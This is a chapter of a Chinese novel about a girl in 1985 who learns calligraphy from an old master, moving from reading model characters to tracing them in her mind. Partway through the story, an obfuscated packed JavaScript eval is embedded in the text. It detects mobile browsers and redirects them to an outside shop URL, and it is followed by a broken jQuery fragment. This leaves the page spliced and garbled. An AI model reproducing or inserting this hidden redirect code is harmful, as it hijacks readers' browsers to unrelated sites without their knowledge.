读帖读了三个月。
一九八五年的冬天来得早。十月底就下了第一场雪，不大，薄薄一层，第二天就化了。但气温降得厉害，车间的工人穿上了棉袄，学校里的孩子手上都生了冻疮。
张清的手指也生了冻疮。红肿的，裂了口子，握笔的时候疼。但周伯年说："不能停。停了，'意'就断了。"
所以她每天还是读。三百遍，一天不落。
三个月下来，一千二百个字她读了一半。六百个字，每个字读了至少三百遍。
她发现自己变了。
不是手变了，手还是那双手，指腹的茧子还是那么厚。变的是眼睛。
她现在看字，不是看"形"。是看"意"。
走在街上，看到墙上的标语，"计划生育好""改革开放"，她能看到那些字里面的"意"在走。走得很死。因为写标语的人用的是排笔，不是毛笔。排笔扁平，没有锋，"意"走不动。
但她还是能看到。每一个字，都有"意"在里面，哪怕写得很死，也有一点点在动。
像心跳。微弱的、几乎感觉不到的心跳。
"你能看到了？"周伯年问她。
"能看到一点点。"
"一点点就够了。"周伯年说。"能看到'意'的人，一千个里面不超过一个。"
入冬后的第一个星期天，周伯年没有让她读帖。
"今天换个方式。"
老人从抽屉里拿出一张白纸。什么都没写的白纸。
"心摹。"
"什么？"
"不用帖。在心里写。"
张清愣了一下。"不看帖，怎么写？"
"你读了三个月的帖，"周伯年说，"那些箭头，都在你心里了吧？"
张清想了想。确实在。她闭上眼，能看见"静"字的每一笔的箭头。横画的起笔、中段的波浪、收笔的回旋，她都记得。
"但那是别人的箭头。"周伯年说。"现在我让你用自己的'意'写。没有帖，没有标注，没有参照。你心里有一个字，然后用'意'把它写出来。"
"写在哪儿？"
"写在脑子里。"
张清不太明白。
"你闭上眼。"周伯年说。"想象面前有一张纸。一支笔。然后，写。"
"用'意'写？"
"对。用你的'意'，在脑子里写。"
张清闭上眼睛。
她想象面前有一张白纸。雪白的，干干净净。旁边放着一支毛笔，乌木笔杆，狼毫笔锋。她拿起笔，蘸了墨。
然后她落笔。
横画。起笔。
她用"意"去走那个箭头，向下沉。
她感觉到了。和读帖时一样的温热，从指腹传到笔尖。但这次不一样，这次没有朱砂线条可以跟。她的"意"在走，但走得跌跌撞撞。
走了一半，就散了。
"断了。"周伯年的声音从外面传来。
张清重新来。
这一次她走得更小心。起笔、沉、流、收。每一步都走得很慢，像走钢丝。
走到收笔处，又断了。
"你的'意'不够。"周伯年说。"读帖的时候，你跟着我的箭头走，像走铺好的路。现在没有路了。你得自己开路。"
"怎么开？"
"练。"周伯年说。"每天心摹一百遍。比读帖还重要。读帖是学别人的路。心摹是开自己的路。"
心摹比读帖难十倍。
读帖的时候，有箭头指引，"意"知道往哪走。心摹没有箭头。"意"走到一半就迷路了，不知道下一步该去哪。
张清每天心摹一百遍"静"字。
前十遍，"意"走到横画就断了。
第二十遍，能走到竖画。
第五十遍，能走到撇。
第一百遍，走到捺的时候，断了。
她睁开眼，满头大汗。
"怎么样？"周伯年问。
"走不到头。"
"正常。"周伯年说。"你读了三个月的帖，那些'意'的路径是别人的。现在你要把它们变成你自己的。这需要时间。"
"多久？"
"因人而异。"周伯年说。"你爷爷当年，用了半年。"
半年。
张清算了一下。半年，一百八十天。每天一百遍，一万八千遍。
"我不急。"她说。
周伯年看着她，眼神里有一种说不清的东西。
"你爷爷也说过这句话。"
心摹的日子，比读帖还要枯燥。
读帖至少有纸、有笔、有朱砂线条。心摹什么都没有，闭着眼，坐在椅子上，一动不动。外人看起来，就像在发呆。
厂区的孩子们路过周伯年家，透过窗户看到张清坐在那里，一动不动，都以为她在打瞌睡。
"张清又在睡觉了。"小军在外面喊。
张清听见了，但动不了。她的"意"正在走"静"字的最后一笔，那个"争"的竖钩。走到钩的地方，"意"开始发颤。
她不能停。停了就前功尽弃。
她咬着牙，让"意"继续走。
钩，收，沉——
断了。
她睁开眼，吐了一口气。
"又断了。"
周伯年在旁边看书。听了这话，抬头看了她一眼。
"第几遍了？"
"六十。"
"比昨天多了十遍。"周伯年说。"有进步。"
"进步在哪儿？昨天走到竖画就断了，今天走到了最后一笔。"
"这就是进步。"周伯年说。"你的'意'在变长。以前走一寸就散，现在能走一尺。再练下去，能走一丈。"
"一丈是多远？"
"走到——纸上去。"
张清愣了一下。"什么意思？"
周伯年没有回答。他站起来，走到书桌前，铺开一张宣纸。
"你试试。"他说。"用心摹的方式，写一个字。"
"用笔写？"
"对。但不要用手写。用'意'写。"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809191|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
张清拿起毛笔。笔杆乌木的，温润的手感。她蘸了墨，把笔尖落在纸上。
然后她闭上眼。
脑子里，"静"字在成形。横、竖、撇、捺，每一笔的"意"，她都在走。
她的手，开始动了。
不是手在动。是"意"在动。"意"从脑子里流到手指，从手指流到笔杆，从笔杆流到笔尖。
笔尖在纸上走了。
很慢。比平时慢十倍。但每一笔都很稳。
张清睁开眼。
纸上一个"静"字。
不大，端正，笔画清晰。
和平时写的没什么两样。
但张清知道，不一样。
因为这个字，是她"想"出来的。
她的手只是跟着"意"走。就像水顺着河道流。河道是"意"开的，水只是顺着走。
"怎么样？"周伯年问。
"感觉，不一样。"
"哪里不一样？"
"以前写字，是我在写。现在，是字在写自己。"
周伯年笑了。
"对了。"他说。"这就是'心摹'。'意'在写，你只是跟着走。"
从那天开始，张清每天心摹两百遍。
早上五十遍，中午五十遍，晚上五十遍，睡前五十遍。
走路的时候心摹。吃饭的时候心摹。上厕所的时候心摹。
她妈妈沈素云有一次半夜起来喝水，看见张清的房间灯还亮着。推门进去，看见张清坐在床上，闭着眼睛，一动不动。
"小清？"
"嗯？"张清睁开眼。
"你在干什么？"
"在练字。"
"练字？"沈素云看了看四周。没有笔，没有纸，没有墨。"你练什么字？"
"心里的字。"张清说。
沈素云愣了一下。然后她伸手摸了摸张清的额头。
"没发烧啊。"她嘟囔了一句。"别太晚了。明天还要上学。"
"嗯。"
沈素云出去了。张清闭上眼睛，继续心摹。
走到第二十三遍的时候，她忽然感觉到了什么。
"意"走到了"静"字的最后一笔。那个竖钩。
和以前一样，"意"走到钩的地方就断了。但今天，没断。
"意"继续走。走过了钩，走过了收笔，走到了纸上。
张清猛地睁开眼。
她低头看桌上的纸，那是她睡前铺好的，上面有一个她之前写的"静"字。
那个字，在动。
"意"在动，跟墨迹洇开不同。像一条极细的蛇，在笔画里面游走。从横画的起笔处开始，走到收笔处，然后回旋、下沉。
走了整整一遍。
然后停了。
张清盯着那个字看了十秒。
不动了。
她伸出手，摸了摸那张纸。纸是干的。墨迹没有变化。
但她知道，刚才那不是幻觉。
她心摹走到了第一百遍。"意"从脑子里，流到了纸上。